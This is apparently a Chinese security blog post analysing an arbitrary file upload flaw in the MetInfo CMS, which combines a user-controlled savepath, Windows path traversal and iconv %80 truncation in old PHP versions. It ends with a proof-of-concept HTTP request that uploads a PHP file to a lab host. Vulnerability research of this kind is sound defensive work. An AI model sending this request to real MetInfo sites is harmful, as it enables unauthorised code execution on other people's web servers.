MetInfo 任意文件上传漏洞

Posted by JenI on 2019-07-05 00:00:00+08:00

前言

MetInfo企业建站系统采用PHP+Mysql架构,是一款对SEO非常友好、功能全面、安全稳定、支持多终端展示并且使用起来极其简单的企业建站软件。用户可以在不需要任何编程的基础上,通过简单的设置和安装就能够在互联网搭建独立的企业网站,能够极大的降低企业建站成本。近日,Metinfo 被爆出在低版本的 PHP 环境下存在任意文件上传漏洞,

漏洞分析

漏洞出现在 Metinfo 的 uploadify 类中,这个上传类属于前台基类,因此无需登录即可调用。该类内定义了一个 doupfile 方法用于实现上传:

metinfo-file-upload-1

Doupfile 内又调用了 set_upfile 和 set_upload 方法,它们分别用于设置上传模式和上传属性。这两个方法,前者的 savepath 属性默认值为 /webroot/upload/file/,后者则从 $M[‘form’] 中取到 savepath 值,作为自己的属性。因为 $M[‘form’] 数据用户可控,因此针对 savepath 值进行特殊构造就可以触发漏洞。

metinfo-file-upload-2
metinfo-file-upload-3

在设置了上传属性之后,会调用 upfile 类的 upload 方法:

metinfo-file-upload-4

uploud 方法将接收的 _FILES 保存到filear变量当中。然后对文件后缀名进行一次黑名单校验、一次白名单校验,白名单校验无法绕过,强制指定了部分文件格式:

metinfo-file-upload-5

在文件后缀通过了白名单校验后,则开始设置文件名,如果 is_rename 参数为 false,那么上传的文件则不会被重命名。is_rename 参数也是用户可控的。设置文件名的函数中,对文件名进行了相应的过滤:

metinfo-file-upload-6

文件名中如果包含多个“.”,除了最后一个外,其余会被替换为“_”,所以文件名处无法利用。而在对文件路径进行处理时, savepath 中如果包含“./”字符,则结束流程,但是在 windows 下,可以使用“..\”代替“../”,从而实现路径穿越。

文件路径和文件名组成最终的绝对路径,之后进行判断,如果系统为 windows 的话,文件的绝对路径会交由 iconv 进行编码转换:

metinfo-file-upload-7

低版本的 PHP 中,iconv 函数存在字符截断问题,如果文件的绝对路径中包含 %80 时,会在 %80 处进行截断,因此构造文件名为 a.php%80\..\1.jpg,则可以绕过黑白名单检测,并在 Metinfo 逐层创建目录时从 %80 处截断。

还有一点需要说明,Metinfo 在最初读取用户数据时使用了 daddslashes 函数进行了过滤,因此 savepath 中的“..\”会在 load_form 时被替换:

metinfo-file-upload-8

daddslashes 中,如果未设置 IN_ADMIN 常量的话,savepath 会经过 sqlinsert 处理:

metinfo-file-upload-9

而 Metinfo 中,admin/index.php 文件中是设置了 IN_ADMIN 常量的,并且这个页面允许加载 uploadify 类,因此访问 admin/index.php 页面的同时,加载 uploadify 类并设置包含 %80 的 savepath,则可以穿越路径写入文件。

metinfo-file-upload-10

漏洞复现

搭建 Metinfo 漏洞测试环境:

metinfo-file-upload-11

访问 admin/index.php 页面,同时拦截数据包,添加上传文件必要的参数后将数据包转发:

metinfo-file-upload-12

成功上传了 a.php 文件:

metinfo-file-upload-13

此时访问 a.php 即可执行文件内的 PHP 代码:

metinfo-file-upload-14

漏洞POC

POST /admin/index.php?c=uploadify&m=include&a=doupimg&lang=cn&data_key=undefined&savepath=a.php%80\..\1.jpg HTTP/1.1
Host: 192.168.244.128
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryycZOB8OFe09WeWgl
Content-Length: 196

------WebKitFormBoundaryycZOB8OFe09WeWgl
Content-Disposition: form-data; name="file"; filename="a.jpg"
Content-Type: image/gif

<?php phpinfo();?>
------WebKitFormBoundaryycZOB8OFe09WeWgl--

参考

http://www.yulegeyu.com/2019/06/18/Metinfo6-Arbitrary-File-Upload-Via-Iconv-Truncate/
https://www.cnblogs.com/milantgh/p/3602141.html


作者:   JenI   转载请注明出处,谢谢


Comments !